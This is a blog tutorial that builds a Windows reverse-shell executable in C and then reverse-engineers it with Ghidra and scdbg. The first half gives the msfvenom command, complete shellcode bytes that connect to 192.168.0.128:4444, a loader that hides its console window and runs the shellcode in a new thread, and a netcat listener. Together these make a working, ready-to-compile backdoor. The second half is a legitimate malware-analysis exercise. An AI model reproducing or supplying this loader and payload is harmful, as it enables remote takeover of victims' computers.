Home Malware 101: Develop and Analyze our own malware
Post
Cancel

Malware 101: Develop and Analyze our own malware

In this post, we’ll learn together how to write a basic malware program that does a reverse shell connection (using shellcode) and analyze our own compiled malware. We’ll play around with C code using Visual Studio IDE and MSVenom for the creation of the shellcode.

Malware development

Create a new project in Visual Studio

We’ll start with creating a new project. Choose the “Console App”. Make sure you choose C++.

image

Name your new project. I’m gonna use “revshell_exe”.

image

Now, let’s go to our Kali and fire up msvenom to generate our Windows reverse shell’s shellcode to embed in our malware executable.

Generate reverse shell’s shellcode using MSVenom

Before we generate a “shellcode”. Some of the beginners might have no idea what does the shellcode means. So, “Shellcode” is a set of instructions that executes a command in software to take control of or exploit a compromised machine. In our case here, our shellcode is to gain the remote system shell of our victim. The shellcode is not only for shell access, instead there’s much other shellcode action that could be done by the author like privilege escalation and many more.

To generate the shellcode using msvenom, run this command below:

1
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f c

Example: image

All we need now is to copy the shellcode I highlighted in the red box and paste it into our main function inside VS IDE.

Coding

When it comes to programming, you need to be familiar with C and WinAPI. Below codes, I’ve put some comments to guide and understand what does the code does.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <Windows.h>

int main()
{
    // Run our executable console app in the background
    ShowWindow(FindWindowA("ConsoleWindowClass", NULL), false);
    
    // MSVenom shellcode payload here
    unsigned char buf[] =
        "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
        "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
        "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
        "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
        "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
        "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
        "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
        "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
        "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
        "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
        "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
        "\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
        "\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x00\x80\x68"
        "\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
        "\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
        "\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
        "\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
        "\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
        "\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
        "\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
        "\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
        "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

    //Allocate memory for the shellcode
    PVOID shellcode = VirtualAlloc(0, sizeof buf, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    //Copies contents of memory block to destination
    RtlCopyMemory(shellcode, buf, sizeof buf);

    //Execute shellcode as new thread
    DWORD threadID;
    HANDLE handleThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode, NULL, 0, &threadID);

    //Wait till thread terminates
    WaitForSingleObject(handleThread, INFINITE);
}

If you don’t understand the WinAPI, here is some documentation from Microsoft:

  1. ShowWindow = Microsoft documentation link
  2. VirtualAlloc = Microsoft documentation link
  3. RtlCopyMemory = Microsoft documentation link
  4. CreateThread = Microsoft documentation link
  5. WaitForSingleObject = Microsoft documentation link

Test out our malware

Check for any errors in your code and now we are good to go.

In our Kali, let’s listen to our reverse shell. In my case, my port will be on 4444.

1
2
3
┌──(kali㉿kali)-[~/Downloads]
└─$ nc -lvp 4444                                                             
listening on [any] 4444 ...

In “Solution Configurations”, change Debug to Release. Then, click Run icon.

image

After the program executed, our Kali will gain the remote shell cmd.

image

Our shellcode and malware successfully execute.

Malware analysis and reversing

Now copy your malicious executable from Release folder into your malware analysis lab and start analysing + reversing the program.

Ghidra analysis

The result of decompiler of Ghidra have a slightly changes from our code. This is due to the how compiler compiled our executable and how the Ghidra translate from the assembly code.

Here the explaination of the decompiled code: image

Extract shellcode

From the decompiler code, we can locate the shellcode in the Ghidra. image

This will bring us to the shellcode bytes in the “Listing view”. image

To extract the shellcode, select all the bytes until the finish. image

Go to Window tab > Bytes: filename.exe. The selected bytes now also been selected in the hex view. image

Copy the bytes and paste into hex editor like HxD. And save it. image

Now to analyze the shellcode, there’s some options:

  1. Use scdbg <– We will use this
  2. Use jmp2it
  3. Convert the shellcode into executable. And debug the executable using x32dbg.

Shellcode analysis

The output below of the scdbg for our shellcode is quite helpful. In our case here, the shellcode was easy to be analyzed. At sometimes, a complex shellcode will not be a simpler like this

image

LoadLibraryA(ws2_32): First, the process will load the DLL file “ws2_32.dll” using LoadLibrary API.

WSAStartup(190): After that, it calls WSAStartup function to initiate the utilization of the Winsock DLL by the current process.

WSASocket(af=2, tp=1, proto=0, group=0, flags=0): It then call the WSASocket to creates a socket.

If we refer the documentation of WSASocket, here the explaination about the number in the prameter:

  • af=2 -> The Internet Protocol version 4 (IPv4) address family.
  • tp=1 -> SOCK_STREAM
  • proto=0 -> the service provider will choose the protocol to use
  • group=0 -> No group operation is performed.
  • flags=0 -> A set of flags used to specify additional socket attributes.

connect(h=42, host: 192.168.0.128 , port: 4444 ) = 71ab4a07: At this line, the program will establishes a connection to a specific socket. The parameter contains IP of the attacker and his port which will be used to get a reverse shell.

CreateProcessA( cmd, ) = 0x1269: Our shellcode then executes cmd.exe by calling CreateProcessA API

WaitForSingleObject(h=1269, ms=ffffffff): This function will terminate the program when our reverse shell been killed.

ExitProcess(0): Exit and terminate current process.

Sum up

In the conclusion, we can see that the malware first will be run in the background. And then it allocates some memory space for our shellcode. After allocating the memory region, our shellcode is then being copy to the allocated memory. Then, it uses CreateThread API to execute the shellcode. In the shellcode, it will connect to our IP and port to gain the reverse shell of cmd.exe.

This post is licensed under CC BY 4.0 by the author.